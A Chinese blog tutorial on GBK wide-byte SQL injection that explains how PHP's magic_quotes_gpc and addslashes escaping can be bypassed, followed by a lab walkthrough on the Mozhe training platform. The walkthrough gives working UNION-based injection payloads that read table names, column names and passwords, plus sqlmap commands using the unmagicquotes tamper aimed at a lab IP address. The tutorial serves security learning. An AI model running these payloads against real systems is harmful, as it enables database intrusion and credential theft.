sql宽字节注入

magic_quotes_gpc(魔术引号开关)

https://www.cnblogs.com/timelesszhuang/p/3726736.html

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

单引号(')、双引号(")、反斜线(\)等字符都会被加上反斜线

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤

addslashes()函数

二者关系

php get_magic_quotes_gpc() stripslashes()和addslashes()的关系-CSDN博客

PHP为了安全性,所以引入了个magic_quotes_gpc = On的功能,可以不需要做任何处理就能直接把单引号插入数据库中,那么对于Off时,则需要考虑单引号的问题了,而不是一味地信任运行环境。

magic_quotes_gpc = On时,使用了addslashes()处理后的数据在数据库中将以\'形式保存,如果此时直接输出的话,就会发现比自己期待的内容多了个\,因此stripslashes()出场了,它能把\去掉(区别于str_replace("\", "",$Str))。

magic_quotes_gpc = Off时,使用了addslashes()处理后的数据在数据库中将以'形式保存,没有上面说的有\的问题,addslashes()起到插入数据不出错的作用,如果此时直接输出的话,数据正常。不需要再用stripslashes()。addslashes()和stripslashes()正好是相反的,直接记忆:addslashes()加个\,stripslashes()去个\

那么什么时候用呢?

简单说:

当magic_quotes_gpc = On时,系统会自动处理单引号等问题,用不用addslashes()和stripslashes()都没关系,但是如果添加数据时用了addslashes(),那么显示数据时必须要stripslashes()

当magic_quotes_gpc = Off时,系统不会处理单引号等问题,所以插入数据时必须要使用addslashes(),显示数据时则不需要使用stripslashes()。

既然有了分析,做程序时要怎么办呢?根据以上两种情况,可得:

不管magic_quotes_gpc是On还是Off,添加数据时用addslashes(),当On时,必须使用stripslashes(),Off时则不能用stripslashes()。

为了绕过magic_quotes_gpc的\,于是乎我们开始导入宽字节的概念

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:'運'字是%df%5c

SELECT * FROM users WHERE id='1\'' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让!

SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1

�\ 实际上就是那个運字

宽字节概念

1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

4、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

宽字节sql注入

宽字节SQL注入就是PHP发送请求到MySql时使用了语句

SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

实战(墨者)

手工

找到注入点

发现3,5是回显点

复制代码
?id=-1%df' union select 1,2,database(),4,5--+

?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database() --+

然后我们在查询列名的时候,发现因为单引号无法闭合而报错

复制代码
?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' --+

这里应该怎么解决呢?

看了wp,转成了十六进制

嗯。。不错

payload:

复制代码
?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572 --+

有了

复制代码
?id=-1%df' union select 1,2,3,4,group_concat(name) from stormgroup_member --+

?id=-1%df' union select 1,2,3,4,group_concat(password) from stormgroup_member --+

tamper

复制代码
sqlmap.py -u "http://124.70.71.251:48968/new_list.php?id=1" --tamper=unmagicquotes.py --dbs
复制代码
sqlmap.py -u "http://124.70.71.251:48968/new_list.php?id=1" --tamper=unmagicquotes.py -D mozhe_discuz_stormgroup --tables
复制代码
sqlmap.py -u "http://124.70.71.251:48968/new_list.php?id=1" --tamper=unmagicquotes.py -D mozhe_discuz_stormgroup -T stormgroup_member --columns
复制代码
sqlmap.py -u "http://124.70.71.251:48968/new_list.php?id=1" --tamper=unmagicquotes.py -D mozhe_discuz_stormgroup -T stormgroup_member --dump
相关推荐
倔强的石头_2 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横2 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
冬奇Lab2 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence3 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
无响应de神3 天前
三、用户与权限管理
数据库·mysql
麦聪聊数据3 天前
数据服务化时代:企业数据能力输出的核心路径
数据库
shushangyun_3 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
DARLING Zero two♡3 天前
【MySQL数据库】数据类型与表约束
数据库·mysql
曹牧3 天前
Oracle EXPLAIN PLAN
数据库·oracle
BD_Marathon3 天前
SQL学习指南——视图
数据库·sql